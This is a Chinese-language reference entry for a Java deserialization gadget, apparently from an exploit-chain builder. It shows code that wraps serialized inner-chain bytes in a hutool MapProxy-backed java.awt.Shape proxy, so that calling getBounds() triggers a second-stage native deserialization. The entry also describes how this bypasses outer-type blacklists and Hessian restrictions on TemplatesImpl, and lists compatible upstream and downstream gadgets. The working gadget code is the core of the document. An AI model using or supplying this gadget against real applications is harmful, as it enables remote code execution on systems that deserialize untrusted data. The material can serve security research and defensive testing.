- 类别:javanative 别名:— 优先级:30
- 作者:—
- 依赖:
hutool:cn.hutool.core.map.MapProxy(hutool-core)
用 hutool 的 MapProxy(实现 InvocationHandler)作为动态代理处理器,代理成 java.awt.Shape;把「内层链」序列化字节存入代理背后的 HashMap。当上游 getter 跳板触发 getBounds() 时,经 MapProxy.invoke 取出并反序列化该字节,形成二次反序列化桥梁。与 SignedObject 占据相同槽位,是其可互换的平替。
- 入口
tags:SignedObjectChain、GetterGetter—— 需上一环「调用危险 getter」的跳板触发,被调 getter 为getBounds()。SignedObjectChain—— 与SignedObject共用的入口标签,二者在二次反序列化链中可互换。
- 衔接
nextTags:JavaNativeDeserializePayload、CustomJavaDeserializeJavaNativeDeserializePayload—— 下游为打包内层字节 payload 的 JavaNativeSerialization。CustomJavaDeserialize—— 或自定义 Java 反序列化数据。
excludes:无。
public Object getObject(Object obj) throws Exception {
HashMap<String, byte[]> map = new HashMap<>();
map.put("bounds", CommonMethod.handleSerialized(obj));
cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
Class<Shape> proxyClass = Shape.class;
Shape proxy = (Shape)Proxy.newProxyInstance(proxyClass.getClassLoader(),
new Class[]{proxyClass}, (InvocationHandler)mapProxy);
return proxy;
}CommonMethod.handleSerialized(obj)把内层链产物序列化成byte[],以键"bounds"放入HashMap。MapProxy.create(map)用该 map 建 hutoolMapProxy(它本身是InvocationHandler)。- 再
Proxy.newProxyInstance生成实现java.awt.Shape接口的动态代理,处理器即mapProxy。 - 运行期原理:外层链对该
Shape代理调用getBounds()→ 触发MapProxy.invoke→ 按方法名映射到键"bounds"取值,并在类型转换/取值过程中对存放的字节流执行嵌套反序列化,从而进入「第二段」Java 原生反序列化。选Shape是因为其getBounds()是无参 getter,便于经 getter 跳板触发。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 取内层对象
context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName); // "bounds"
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName); // "getBounds"
context.put(ContextTag.SUPER_CLASS_NAME_KEY, SignedObject.class);
return this.getObject(object);
}- 先
chain.doCreate取内层对象,交由getObject序列化封装为Shape代理。 - 向 context 注入
GETTER_PARAM_NAME_KEY="bounds"、SPECIAL_METHOD_NAME_KEY="getBounds"告知上游要触发的属性/方法;SUPER_CLASS_NAME_KEY=SignedObject.class表明其在链中扮演与SignedObject等同的二次反序列化槽位角色。
本 gadget 无 @Param。paramName="bounds"、methodName="getBounds" 为内部固定字段。
- 依赖 hutool(
cn.hutool.core.map.MapProxy)在目标 classpath 存在。 - 定位为二次反序列化跳板:内层 Java 序列化数据以字节流形式存放,可绕过部分只审查外层对象类型的黑名单;尤其适用于 Hessian 反序列化,用于建立通往 Java 原生反序列化的桥梁,绕过 Hessian 下对
TemplatesImpl的限制。 - 与
SignedObject的tags/nextTags完全一致,是同槽位平替;本身不产出 RCE,需接内层完整链。
自由构件,未直接出现在预设链(usedInChains 为空)。可在「二次反序列化链」(chain 26)、Rome 二次反序列化链(chain 35/36)中替换 SignedObject 使用。
- 上游(
tags=Getter,触发getBounds()):CommonsBeanutils1、Fastjson等 getter 跳板。 - 下游(
nextTags=JavaNativeDeserializePayload):JavaNativeSerialization。 - 同位平替:
SignedObject(tags/nextTags 完全相同)、MapMessage、MchangeC3p0HexSerialize。